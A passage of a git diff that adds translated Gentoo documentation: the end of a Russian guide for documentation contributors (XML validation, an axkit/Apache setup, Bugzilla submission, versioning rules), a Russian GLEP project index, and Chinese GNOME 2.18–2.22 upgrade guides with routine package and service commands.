+файлов, из которых состоит книга.
+</p>
+
+<pre caption="Проверка и преобразование hb-install-about.xml">
+$ <i>xmllint --valid --noout handbook-x86.xml</i>
+$ <i>xmllint --valid --noout hb-install-about.xml</i>
+$ <i>xsltproc --stringparam part 1 --stringparam chap 1 test/guide.xsl handbook-x86.xml &gt; test/hb-install-about.html</i>
+</pre>
+
+<p>
+Альтернативно, главу настольной книги также можно обрабатывать подобно любому 
+другому документу. В этом случае не создаются ссылки на другие главы.
+</p>
+
+<pre caption="Проверка и преобразование hb-install-about.xml: более простой способ">
+$ <i>xmllint --valid --noout hb-install-about.xml</i>
+$ <i>xsltproc test/guide.xsl hb-install-about.xml &gt; test/hb-install-about.html</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Использование axkit</title>
+<section>
+<body>
+
+<note>
+Эта глава активно не поддерживается, и сохранена только из исторических 
+соображений, до тех пор, пока на одном из наших веб-серверов установлен axkit.
+Возможно, вам захочется попробовать <c>gorg</c>.
+</note>	
+
+<p>
+Некоторые разработчики документации предпочитают использовать конфигурацию
+axkit, подобную той, что запущена на <uri>http://www.gentoo.org</uri>. Здесь
+приведены рекомендации, которые помогут настроить сходную конфигурацию.
+</p>
+
+<warn>
+Похоже, что axkit очень чувствительна к версии используемых ею пакетов,
+особенно к libxml2. Конфигурация, описанная ниже, точно работает. Любые
+другие сочетания пакетов могут вызвать проблемы.
+</warn>
+
+<p>
+Сначала установите требуемые пакеты:
+</p>
+
+<pre caption="Установка определенных версий требуемых пакетов">
+<comment>(проверка доступности пакетов для portage)</comment>
+# <i>emerge -vp =dev-libs/libxml2-2.6.17 =dev-libs/libxslt-1.1.12 \
+=dev-perl/AxKit-1.6.1 =dev-perl/XML-XPath-1.13 =dev-perl/XML-LibXML-1.58 \
+=dev-perl/XML-LibXSLT-1.57 =dev-perl/XML-Parser-2.34 =net-www/apache-1.3.33</i>
+
+These are the packages that I would merge, in order:
+
+Calculating dependencies ...done!
+[ebuild   R   ] dev-libs/libxml2-2.x.17  -debug -ipv6 +python +readline  0 kB 
+[ebuild   R   ] dev-libs/libxslt-1.1.12  +crypt +python  0 kB 
+[ebuild   R   ] dev-perl/AxKit-1.6.1  +gnome  0 kB 
+[ebuild   R   ] dev-perl/XML-XPath-1.13   0 kB 
+[ebuild   R   ] dev-perl/XML-LibXML-1.58   0 kB 
+[ebuild   R   ] dev-perl/XML-LibXSLT-1.57   0 kB 
+[ebuild   R   ] dev-perl/XML-Parser-2.34   0 kB
+[ebuild   R   ] net-www/apache-1.3.33  +pam  0 kB
+
+<comment>(установка пакетов)</comment>
+# <i>emerge =dev-libs/libxml2-2.6.17 =dev-libs/libxslt-1.1.12 \
+=dev-perl/AxKit-1.6.1 =dev-perl/XML-XPath-1.13 =dev-perl/XML-LibXML-1.58 \
+=dev-perl/XML-LibXSLT-1.57 =dev-perl/XML-Parser-2.34 =net-www/apache-1.3.33</i>
+</pre>
+
+<p>
+Затем измените следующие конфигурационные файлы:
+</p>
+
+<pre caption="/etc/apache/conf/commonapache.conf">
+<comment>(внутри)</comment>
+&lt;IfModule mod_dir.c&gt;
+  <comment>(добавьте index.xml в список)</comment>
+  DirectoryIndex index.xml index.html index.php index.php3 index.shtml index.cgi index.pl index.htm Default.htm default.htm
+&lt;/IfModule&gt;
+
+<comment>(добавьте следующие строки)</comment>
+&lt;IfDefine PERL&gt;
+  LoadModule perl_module extramodules/libperl.so
+#  AddModule mod_perl.c
+  PerlModule AxKit
+  SetHandler perl-script
+  PerlHandler Apache::AxKit::StyleChooser::PathInfo AxKit
+  AddHandler axkit .xml .xsp
+  AxAddPlugin Apache::AxKit::StyleChooser::QueryString
+  AxAddXSPTaglib AxKit::XSP::Util
+  AxAddXSPTaglib AxKit::XSP::IfParam
+  AxAddXSPTaglib AxKit::XSP::Param
+  AxAddStyleMap application/x-xsp Apache::AxKit::Language::XSP
+  AxAddStyleMap text/xsl Apache::AxKit::Language::LibXSLT
+  &lt;AxStyleName "#default"&gt;
+    AxAddProcessor text/xsl /xsl/guide.xsl
+  &lt;/AxStyleName&gt;
+  &lt;AxStyleName printable&gt;
+    AxAddProcessor text/xsl /xsl/guide-print.xsl
+  &lt;/AxStyleName&gt;
+&lt;/IfDefine&gt;
+
+<comment>(внутри)</comment>
+&lt;IfModule mod_alias.c&gt;
+    Alias /icons/ /var/www/localhost/icons/
+<comment>(закомментируйте следующую строку)</comment>
+    #Alias /doc /usr/share/doc
+</pre>
+
+<pre caption="/etc/conf.d/apache">
+<comment>(добавьте -D PERL к списку параметров)</comment>
+APACHE_OPTS="-D PERL"
+</pre>
+
+<p>
+Потом скопируйте файлы документации, включая DTD и таблицы стилей, в
+<path>/var/www/localhost/htdocs/</path>. Вам потребуются каталоги
+<path>css/</path>,<path>doc/</path>, <path>dtd/</path>, <path>images/</path> 
+и <path>xsl/</path>. Разработчики Gentoo могут скопировать их из своей
+локальной копии CVS, или создать на нее символические ссылки. Другим
+участникам потребуется загрузить файлы через наш интерфейс
+<uri link="http://sources.gentoo.org/gentoo/xml/htdocs/">
+viewCVS</uri>.
+</p>
+
+<p>
+Остается только запустить apache сервер:
+</p>
+
+<pre caption="Запуск apache">
+# <i>/etc/init.d/apache start</i>
+# <comment>(добавьте его к своему уровню запуска, если хотите, чтобы)</comment>
+# <comment>(он запускался автоматически во время загрузки)</comment>
+# <i>rc-update add apache default</i>
+</pre>
+
+<p>
+Если вы установили axkit на свою рабочую станцию, перейдите в браузере по
+адресу <uri>http://your_server/doc/en/</uri> или просто
+<uri>http://localhost/doc/en/</uri>. Журнал доступа можно проверить в
+<path>/var/log/apache/access_log</path>, а журнал ошибок - в
+<path>/var/log/apache/error_log</path>.
+</p>
+
+
+<note>
+Пользователям Mozilla может потребоваться установить <c>keyword.enabled</c> в
+значение <c>false</c> на своей странице <uri>about:config</uri>, чтобы
+использовать localhost.
+</note>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Часто задаваемые вопросы</title>
+<section>
+<title>Как преобразовать файл в UTF-8?</title>
+<body>
+
+<p>
+Существует немало утилит, которые могут помочь вам. Одна из популярных
+- <c>app-text/recode</c>. Еще одна - <c>iconv</c>, входящая в
+<c>sys-libs/glibc</c>.
+</p>
+
+<p>
+Использование Recode довольно очевидно. Вы указываете кодировку, которая
+использована в документе, и кодировку, в которую необходимо его преобразовать.
+</p>
+
+<p>
+Например, преобразовать документ из ISO-8859-15 (также известной как Latin-9)
+в UTF-8, можно следующей командой:
+</p>
+
+<pre caption="Перекодирование файла">
+<comment>(l9 = ISO-8859-15, u8 = UTF-8)</comment>
+$ <i>recode l9..u8 file.xml</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Советы по подготовке документации к публикации</title>
+<section>
+<title>Проверка правильности тегов &lt;guide&gt;</title>
+<body>
+
+<p>
+Убедитесь, что атрибут &lt;guide link&gt; указывает на верное расположение 
+руководства, обычно <path>/doc/${LANG}/filename.xml</path>. Если у вас 
+перевод документа, всегда указывайте абсолютный путь к документу (например,
+(<path>/doc/${LANG}/</path>). При написании руководства, использующего DTD
+<c>guide</c> или <c>book</c>, можно указывать как 
+<path>/doc/${LANG}/filename.xml</path>, так и <path>filename.xml</path>.
+Обычно в GDP рекомендуется использование первого варианта.
+</p>
+
+</body>
+</section>
+<section>
+<title>Проверка ссылок</title>
+<body>
+
+<p>
+<e>Необходимо</e> убедиться, что все гиперссылки в вашем документе работают. 
+Если это перевод документа, удостоверьтесь, что все ссылки на другие 
+переведенные документы указывают на существующие файлы.
+</p>
+
+</body>
+</section>
+<section>
+<title>Проверка знаков табуляции</title>
+<body>
+
+<p>
+Знаки табуляции категорически запрещены в документах GuideXML, кроме случаев, 
+когда их использование обязательно (например, когда документ указывает 
+пользователю использовать знаки табуляции). Для проверки документа на знаки
+табуляции запустите <c>grep "CTRL+V&lt;TAB&gt;" file.xml</c>. Исправьте все 
+строки, которые выведет <c>grep</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Система Bugzilla</title>
+<body>
+
+<p>
+Закончив свой документ, направьте его команде документации через <uri
+link="http://bugs.gentoo.org/enter_bug.cgi?product=Documentation">Bugzilla 
+(англ.)</uri>. Сведения о платформе, сообщениях <c>emerge info</c>, 
+архитектуре, действиях по воспроизведению и т.п., указывать не надо. Если у вас 
+перевод документа, обязательно укажите в запросе компонент <uri
+link="http://bugs.gentoo.org/enter_bug.cgi?product=Doc%20Translations">Doc
+Translations</uri>. Также включите осмысленное краткое описание своего 
+перевода в принятом формате: "[ru] New translation: /doc/ru/gnupg-user.xml". 
+<b>[ru]</b> замените на двухбуквенный код своего языка.
+</p>
+
+<p>
+По умолчанию, ваш запрос назначается <mail>docs-team@gentoo.org</mail>; 
+изменять поле назначенца не нужно.
+</p>
+
+<p>
+При приложении файлов и заплаток к запросу указывайте формат &laquo;plain text
+(text/plain)&raquo;. <e>Не выбирайте</e> &laquo;XML source 
+(application/xml)&raquo;, даже если прикладываете файл <path>.xml</path>. 
+Для заплаток нужно отметить пункт &laquo;Patch&raquo;. Не направляйте архивы, 
+полные документов: прикладывайте каждый документ или заплатку по отдельности.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Часто допускаемые опасные ошибки</title>
+<section>
+<title>Не учтена архитектурная независимость настольной книги Gentoo</title>
+<body>
+
+<p>
+Файлы в <path>[gentoo]/xml/htdocs/doc/en/handbook</path>, которые не
+оканчиваются на &quot;-&lt;arch&gt;.xml&quot;, используются во <e>всех</e>
+настольных книгах. Это значит, что все в них должно быть архитектурно
+независимым.
+</p>
+
+<p>
+Если необходимо внести изменения, отражающие вашу архитектуру, и вам кажется,
+что это следует сделать в подобном файле, сначала спросите в
+<c>gentoo-doc@gentoo.org</c>, как с этим разобраться. Иногда находятся способы,
+позволяющие не создавать трудности пользователям других архитектур.
+</p>
+
+</body>
+</section>
+<section>
+<title>Не изменена или неправильно изменена версия/дата</title>
+<body>
+
+<p>
+В соответствии с требованиями, вы <e>должны</e> обновлять версию/дату, внося
+определенные изменения. Хотя версия менее важна (SwifT все равно убьет вас,
+если вы о ней забудете), с помощью даты наши пользователи определяют, когда
+документ изменялся в последний раз.
+</p>
+
+<p>
+Увеличение номера версии обязательно, когда вы вносите изменения в 
+<e>содержание</e> документа (инструкции, примеры кода и т.д.).
+При изменениях <e>не по содержанию</e> (например, при исправлении опечатки или
+разметки GuideXML) обновление версии обычно не нужно.
+</p>
+
+<p>
+При обновлении настольной книги исправляйте дату и версию только тех файлов,
+которые вы действительно изменяли. Не трогайте файлы handbook-<e>ARCH</e>.xml,
+если вы не изменяли именно их.
+</p>
+
+<p>
+Еще одна распространенная ошибка &mdash; обновление номера версии, как будто 
+он является десятичным числом. Это не так. <c>3.9</c> должен становиться
+<c>3.10</c>, а не <c>4.0</c> или <c>3.91</c>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
+
+<!-- *$Localization:
+target-language: Russian
+target-version: 0.21-r1
+target-date: 2005-04-02
+translated-by: Anton Filimonov <omnifarious@inbox.ru>; Alexey Chumakov
+edited-by: Alexey Chumakov <achumakov@gentoo.org>
+-->
diff --git a/xml/htdocs/proj/ru/glep/index.xml b/xml/htdocs/proj/ru/glep/index.xml
new file mode 100644
index 00000000..c816853b
--- /dev/null
+++ b/xml/htdocs/proj/ru/glep/index.xml
@@ -0,0 +1,90 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+	<name>glep</name>
+	<longname>Предложения по улучшению Gentoo Linux</longname>
+	<date>2007-04-01</date>
+	<author title="автор">Grant Goodyear</author>
+	<description>
+		Проект GLEP занимается предложениями по улучшению Gentoo Linux.
+	</description>
+	<longdescription> 
+	<p>
+	Проект GLEP ходатайствует, собирает, поддерживает и отслеживает
+	предложения по существенному улучшению Gentoo Linux (Gentoo Linux
+	Enhancement Proposals, на английском языке). Сформулировать и
+	направить GLEP на рассмотрение <mail
+	link="glep@gentoo.org">редакторам</mail> может любой пользователь или
+	разработчик (по-английски). Поскольку GLEP хранятся в CVS, они служат
+	для постоянной регистрации предложений, направленных на улучшение
+	Gentoo Linux.
+	</p>
+	<p> За дополнительной информацией обращайтесь к
+	<uri link="http://glep.gentoo.org/glep-0001.html">GLEP 1 (англ.)</uri>
+	и <uri link="http://glep.gentoo.org/glep-0002.html">GLEP 2
+	(англ.)</uri>.
+	</p></longdescription>
+	<dev role="lead" description="GLEP Editor">g2boojum</dev>
+	<dev role="GLEP Editor">liquidx</dev>
+	<resource link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/?cvsroot=gentoo">
+	Файлы и средства в CVS
+	</resource>
+
+
+<extrachapter>
+
+<title>Список предложений по улучшению Gentoo Linux</title>
+
+<section>
+<title>Внедрённые (окончательно)</title>
+<!--  Use <glepindex status="D,d,A"/> to select on status, default is all -->
+<body>
+<glepindex status="F"/>
+</body>
+</section>
+
+<section>
+<title>Одобренные, но всё ещё не внедрённые (одобрено)</title>
+<body>
+<glepindex status="A"/>
+</body>
+</section>
+
+<section>
+<title>Находящиеся в разработке (рабочий проект)</title>
+<body>
+<glepindex status="D"/>
+</body>
+</section>
+
+<section>
+<title>Отложенные, отклонённые, отозванные или истекшие</title>
+<body>
+<glepindex status="d,R,W,M"/>
+</body>
+</section>
+
+<section>
+<title>Примечания</title>
+<body>
+<note><br/>
+Типы GLEP: I = Информационные (Informational), S = Стандартрные (Standard)
+<br/>
+Статус GLEP: D = рабочий проект (Draft), d = отложено (Deferred), A = одобрено
+(Accepted), F = окончательно (Final), R = отклонено (Rejected), W = отозвано
+(Withdrawn), M = истекает (Moribund)
+</note>
+
+<p>
+Если вы хотите внести свое собственное предложение, вам, вероятно, захочется
+взглянуть на <uri
+link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/?cvsroot=gentoo">эти
+файлы</uri>. 
+</p>
+
+</body>
+</section>
+</extrachapter>
+</project>
diff --git a/xml/htdocs/proj/zh_cn/desktop/gnome/howtos/gnome-2.18-upgrade.xml b/xml/htdocs/proj/zh_cn/desktop/gnome/howtos/gnome-2.18-upgrade.xml
new file mode 100644
index 00000000..7ec5cc4a
--- /dev/null
+++ b/xml/htdocs/proj/zh_cn/desktop/gnome/howtos/gnome-2.18-upgrade.xml
@@ -0,0 +1,202 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/zh_cn/desktop/gnome/howtos/gnome-2.18-upgrade.xml,v 1.1 2007/10/13 08:40:52 r0bertz Exp $ -->
+<!-- English CVS version: 1.13 -->
+
+<guide link="/proj/zh_cn/desktop/gnome/howtos/gnome-2.18-upgrade.xml" lang="zh_cn">
+
+<title>Gnome 2.18升级指南</title>
+<author title="作者">
+  <mail link="dang@gentoo.org">Daniel Gryniewicz</mail>
+</author>
+<author title="编辑">
+<mail link="leio@gentoo.org">Mart Raudsepp</mail>
+</author>
+<author title="编辑">
+  <mail link="nightmorph@gentoo.org">Joshua Saddler</mail>
+</author>
+<author title="编辑">
+  <mail link="cla@gentoo.org">Dawid Węgliński</mail>
+</author>
+<author title="译者">
+ <mail link="jjj3112000@126.com">Zezhou Jiang</mail>
+</author>
+
+<abstract>
+这是一个从GNOME 2.16.x升级到GNOME 2.18.x的指南。
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.5</version>
+<date>2007-08-18</date>
+
+<chapter>
+<title>主要改变</title>
+<section>
+<title>系统声音和ESD</title>
+<body>
+
+<p>
+Upstream已经决定移除ESD的autospawn功能，因为它们是坏的而且导致了很多问题。这意味着如果你使用系统声音，你需要使esound启动服务运行起来。就像这样：
+</p>
+
+<pre caption="在启动时启用esound">
+# <i>rc-update add esound default</i>
+</pre>
+
+<p>
+请记住这将在一次重启以后才会有用，所以为了现在就启动它，用这个：
+</p>
+
+<pre caption="在正在运行的系统中启动esound">
+# <i>/etc/init.d/esound start</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Totem没有“xine”USE标记！</title>
+<body>
+
+<p>
+我们决定移除xine后端因为很多问题我们无法轻易解决。我们知道这样播放dvd就变困难了。然而，你仍然可以播放dvd。确保你有用<c>dvd</c>这个USE标记来编译<c>media-video/totem</c>，然后运行：
+</p>
+
+<pre caption="使用Totem播放DVD">
+# <i>totem dvd://</i>
+</pre>
+
+<p>
+这会播放主要的特性。不过没有菜单支持，抱歉。
+</p>
+
+<p>
+我们在尝试把xine后端做到totem里面，和gstreamer共存，然后让xine后端作为一个命令行下可选择的非默认的选项。然而这仍将会不被支持，只不过提供了一个方便而已。我们欢迎任何代码上的贡献以使它可以更快实现。
+</p>
+
+</body>
+</section>
+<section>
+<title>Totem的浏览器插件USE标记改变了！现在我得到了seamonkey！</title>
+<body>
+
+<p>
+Totem的“gecko”USE标志的含义已经改变了。以前它默认选择seamonkey，可以根据你的USE标记的设定而选择firefox或者xulrunner。它现在默认选择firefox，并可以根据你的USE标记的设定而选择xulrunner或者seamonkey。这是因为两个原因。首先，因为seamonkey不能在所有平台上运行，所以它必须有一个对应的一个USE标记以使得它可以被禁用。第二点，使totem与一些其他的Gnome程序（比如epiphany）在此问题上的处理方式保持一致。这里是一些可能的USE标记组合，以及它们对于totem来说现在意味着什么：
+</p>
+
+<table>
+<tr>
+  <th colspan="2">Totem浏览器插件USE标记组合</th>
+</tr>
+<tr>
+  <th>USE标记</th>
+  <th>结果</th>
+</tr>
+<tr>
+  <ti>USE="<c>-nsplugin</c>"</ti>
+  <ti>禁用浏览器插件；gecko不会被牵扯进来</ti>
+</tr>
+<tr>
+  <ti>USE="<c>nsplugin -xulrunner -seamonkey</c>"</ti>
+  <ti>
+    编译依赖于firefox的插件。这是所有profile里的默认情况。
+  </ti>
+</tr>
+<tr>
+  <ti>USE="<c>nsplugin xulrunner -seamonkey</c>"</ti>
+  <ti>编译依赖于xulrunner的插件</ti>
+</tr>
+<tr>
+  <ti>USE="<c>nsplugin xulrunner seamonkey</c>"</ti>
+  <ti>编译依赖于xulrunner的插件。（xulrunner与seamonkey冲突。）</ti>
+</tr>
+<tr>
+  <ti>USE="<c>nsplugin -xulrunner seamonkey</c>"</ti>
+  <ti>编译依赖于seamonkey的插件</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>已知的问题</title>
+<section>
+<title>托盘区图标消失（特别是gnome-power-manager）</title>
+<body>
+
+<p>
+gnome2.18里有一个已知的bug，就是随你的会话而启动的程序的托盘区图标有时候不会出现在托盘区里。程序在运行，但是图标没了。这个问题经常发生在gnome-power-manager身上。我们希望在将来解决这个问题，不过暂时有一个规避的方法是将会在会话启动后重启程序，然后图标就会在剩余的会话中显示了。对于gnome-power-manager，打开一个终端，然后执行这些步骤：
+</p>
+
+<pre caption="使gnome-power-manager托盘区图标回来">
+# <i>killall gnome-power-manager</i>
+# <i>gnome-power-manager</i>
+</pre>
+
+<p>
+这将会使你的g-p-m托盘区图标回来。
+</p>
+
+</body>
+</section>
+<section>
+<title>当使用tracker时Deskbar-applet在登陆时出错</title>
+<body>
+
+<p>
+trackerd有一个已知的bug，它会导致登录时产生一个竞争条件，当trackerd在启动时，deskbar-applet仍尝试通过它的dbus界面来启动它。这将导致deskbar-applet的出错。要让deskbar-applet重新运行起来（同tracker一起），打开一个终端，执行：
+</p>
+
+<pre caption="使deskbar-applet工作起来">
+# <i>killall deskbar-applet</i>
+</pre>
+
+<p>
+然后，当对话框出现，并要求重启它时，选择"Reload"。
+</p>
+
+<p>
+必须在登录时完成一次这个操作。Deskbar-applet在之后的会话中将会正常运行。
+</p>
+
+</body>
+</section>
+<section>
+<title>编译因为XML::错误而失败，其他的编译提示</title>
+<body>
+
+<p>
+这个之所以会发生，是因为<c>expat</c>在Gnome 2.18推出的同时被移动到了stable。只要expat被升级了，你就需要重新编译一切链接到它的东西，这通常是升级过程的开始。为了做这个，运行：
+</p>
+
+<pre caption="修复expat的破坏">
+# <i>revdep-rebuild -X</i>
+</pre>
+
+<p>
+这会重新编译被expat破坏的所有东西，也会升级其他的东西。只要它完成了，你应该能够完成剩下的gnome的升级。
+</p>
+
+<p>
+当2.18的升级全部完成后，你需要运行<c>revdep-rebuild</c>多次，直到没有信息出现，这标志着gnome和它的依赖关系被正确地编译了。在那之后，别忘了运行<c>dispatch-conf</c>！
+</p>
+
+<p>
+最后，如果dbus和hal在升级时正在运行，则它们需要重启：
+</p>
+
+<pre caption="重启服务">
+# <i>/etc/init.d/dbus restart</i>
+# <i>/etc/init.d/hald restart</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/zh_cn/desktop/gnome/howtos/gnome-2.20-upgrade.xml b/xml/htdocs/proj/zh_cn/desktop/gnome/howtos/gnome-2.20-upgrade.xml
new file mode 100644
index 00000000..14e93951
--- /dev/null
+++ b/xml/htdocs/proj/zh_cn/desktop/gnome/howtos/gnome-2.20-upgrade.xml
@@ -0,0 +1,97 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/zh_cn/desktop/gnome/howtos/gnome-2.20-upgrade.xml,v 1.1 2008/03/01 16:26:19 r0bertz Exp $ -->
+<!-- English CVS version: 1.2 -->
+<guide link="/proj/zh_cn/desktop/gnome/howtos/gnome-2.20-upgrade.xml" lang="zh_cn">
+
+<title>Gnome 2.20升级指南</title>
+<author title="Author">
+  <mail link="dang@gentoo.org">Daniel Gryniewicz</mail>
+</author>
+<author title="Author">
+  <mail link="leio@gentoo.org">Mart Raudsepp</mail>
+</author>
+<author title="译者">
+  <mail link="jingcheng01@gmail.com">井诚</mail>
+</author>
+<author title="编辑">
+  <mail link="r0bertz@gentoo.org">张乐</mail>
+</author>
+
+<abstract>
+这是一篇关于从GNOME 2.18.x升级到GNOME 2.20.x的指南。
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2007-11-22</date>
+
+<chapter>
+<title>变更</title>
+<section>
+<title>字体，主题，以及背景首选项</title>
+<body>
+
+<p>
+字体，主题和背景的控制面板已经被合并到“外观”控制面板中。这意味着，现在只要在由几个标签页构成的单一窗口中就能改变几乎任何与你的桌面外观相关的任何设置。请访问“系统”->“首选项”->“外观”来更改这些设置。
+</p>
+
+</body>
+</section>
+<section>
+<title>Evolution中的垃圾邮件过滤器选择</title>
+<body>
+
+<p>
+Evolution现在有了关于垃圾邮件过滤器的真正选择。它来自于为Spamassassin和Bogofilter内建的插件，并且可以在运行时选择使用哪一个。选择过滤器的USE标记现在已取消了。访问“首选项”->“邮件首选项”->“垃圾邮件”，从下拉菜单中设置默认垃圾邮件插件。它将会告诉你是否已安装了正确的程序。如果你只安装了Spamassassin或者Bogofilter中的一个，它将会默认选择已安装的那个。如果二者都有，则默认选择Spamassassin。
+</p>
+
+</body>
+</section>
+<section>
+<title>迁移到Rarian文件元数据库</title>
+<body>
+
+<p>
+据我们所知，GNOME用户帮助文档已经一直由scrollkeeper包来维护和索引。然而很久以来它都没有上游维护者，而且还有相当多的问题，包括概念性的。
+</p>
+
+<p>
+GNOME 2.20以新Rarian包的形式给你一个代替品。它的好处包括允许yelp更快的生成目录，最终可加快所有的包安装过程（因为安装用户文档时需要更新scrollkeeper数据库），以及更多的好处。幸运的是，它拥有一个与scrollkeeper完全兼容的层，所以从scrollkeeper到rarian的迁移应该是毫无困难的。
+</p>
+
+<p>
+我们Gentoo GNOME组相信，我们已经使Gentoo Linux上Gnome 2.20的升级过程中的这个迁移也毫无困难。这是通过“迁移版本”scrollkeeper实现的，它只引入rarian包和其scrollkeeper兼容层，而不是旧的scrollkeeper包本身。所以不必害怕，scrollkeeper的9999版本是该“迁移版本”，而不是一个真正的CVS ebuild。近期稳定的Portage应该有能力进行成功的迁移，仅依靠其自身而不需要手工干预。
+</p>
+
+</body>
+</section>
+<section>
+<title>其他变更</title>
+<body>
+
+<p>
+关于本GNOME发布版的其他新情况，请参阅<uri link="http://www.gnome.org/start/2.20/notes/en/">GNOME 2.20发布说明</uri>。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>已知问题</title>
+<section>
+<title>丢失Gnome电源管理托盘图标（已修正）</title>
+<body>
+
+<p>
+启动时丢失Gnome电源管理的系统图标问题已经得到修正了。如果你以前在适当的位置有自动工作区，应该在升级后移除它们。
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/zh_cn/desktop/gnome/howtos/gnome-2.22-upgrade.xml b/xml/htdocs/proj/zh_cn/desktop/gnome/howtos/gnome-2.22-upgrade.xml
new file mode 100644
index 00000000..7d068243
--- /dev/null
+++ b/xml/htdocs/proj/zh_cn/desktop/gnome/howtos/gnome-2.22-upgrade.xml
@@ -0,0 +1,153 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/zh_cn/desktop/gnome/howtos/gnome-2.22-upgrade.xml,v 1.1 2008/08/22 11:58:28 r0bertz Exp $ -->
+<!-- English CVS version: 1.14 -->
+
+<guide link="/proj/zh_cn/desktop/gnome/howtos/gnome-2.22-upgrade.xml" lang="zh_cn">
+<title>Gnome 2.22升级指南</title>
+
+<author title="作者">
+  <mail link="remi"/>
+</author>
+<author title="作者">
+  <mail link="leio"/>
+</author>
+<author title="编辑">
+  <mail link="nightmorph"/>
+</author>
+<author title="译者">
+  <mail link="guanqun.lu@gmail.com">陆冠群</mail>
+</author>
+<author title="审校">
+  <mail link="r0bertz"/>
+</author>
+
+<abstract>
+这是一份指导你如何从GNOME 2.20.x升级到GNOME 2.22.x的指南。
+</abstract>
+
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.3</version>
+<date>2008-06-20</date>
+
+<chapter>
+<title>改动</title>
+<section>
+<title>自动挂载可移动的媒介</title>
+<body>
+
+<p>
+Gnome 2.22中的自动挂载发生了一些重大的改动。现在，自动挂载由Nautilus来处理而不是<c>gnome-base/gnome-volume-manager</c>。不过，<c>gnome-volume-manager</c>仍然是有用的。它被用来侦测新的硬件，比如照相机。
+</p>
+
+<p>
+由于这个改动，我们给<c>gnome-volume-manager</c>增加了一个<c>automount</c>的use标记，以方便想保持以前行为的用户。对于以前在非Gnome桌面情况下启动<c>gnome-volume-manager</c>的用户，我们强烈建议他们启用这个use标记。相反的，对于Gnome用户我们强烈建议不要启用这个use标记，因为这会和Nautilus出现冲突。
+</p>
+
+</body>
+</section>
+<section>
+<title>Seahorse密钥管理器</title>
+<body>
+
+<p>
+从2.22开始，Seahorse（<c>app-crypt/seahorse</c>）就是官方的密钥和密码管理器，用来替代GNOME Keyring Manager（<c>gnome-extra/gnome-keyring-manager</c>）。它可以处理GPG和SSH的密钥，并且可以用来管理存储在你的GNOME keyring中的密码。
+</p>
+
+<p>
+如何在完成GNOME升级之后你很满意Seahorse的表现，你可以考虑卸载<c>gnome-keyring-manager</c>。
+</p>
+
+</body>
+</section>
+<section>
+<title>PAM和GNOME Keyring的整合</title>
+<body>
+
+<p>
+从GNOME 2.20开始，GNOME Keyring（<c>gnome-base/gnome-keyring</c>）开始提供PAM模块（<path>pam_gnome_keyring.so</path>）。它可以在你登录的时候自动为你的keyring去锁，这样你就省去了输入两次密码的麻烦。
+</p>
+
+<p>
+在GNOME 2.22中，这个特性现在变得更加可配置，这要归功于现在拥有<c>gnome-keyring</c>use标记的<c>sys-auth/pambase</c>。当这个标记启用的时候，在<path>/etc/pam.d/</path>下的PAM配置文件会自动地将<path>pam_keyring.so</path>插入到正确的位置。只是不要忘记在安装<c>pambase</c>之后使用<c>dispatch-conf</c>或者其他类似的工具来更新那些文件。
+</p>
+
+</body>
+</section>
+<section>
+<title>其他的改动</title>
+<body>
+
+<p>
+请查看<uri link="http://library.gnome.org/misc/release-notes/2.22/">GNOME 2.22发行注记</uri>来获得在这个重大的发布中还有哪些新的特性。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>疑难问题解答</title>
+<section>
+<title>升级到Python 2.5</title>
+<body>
+
+<p>
+在升级到GNOME 2.22之前，请确保你<e>仅</e>有<c>dev-lang/python-2.5*</c>并且你的系统已经完全更新。
+</p>
+
+<pre caption="升级python">
+# <i>emerge -av dev-lang/python:2.5</i>
+# <i>python-updater</i>
+# <i>emerge -C dev-lang/python:2.4</i>
+</pre>
+
+<warn>
+如果你提交和Python相关的bug，并且你仍然在使用Python 2.4，我们<c>将</c>要求你升级到2.5。GNOME团队<e>不</e>对基于Python 2.4的GNOME 2.22提供支持。
+</warn>
+
+</body>
+</section>
+<section>
+<title>被阻止的软件包</title>
+<body>
+
+<p>
+在GNOME 2.22中，一些软件包被分割成两个独立的软件包，用以允许其他的应用程序来使用以前的内部库。比如在<c>totem</c>中的播放列表的分析库现在被分割出来，成为<c>dev-libs/totem-pl-parser</c>，所以<c>rhythmbox</c>可以依赖之，而不再需要依赖整个<c>totem</c>。
+</p>
+
+<p>
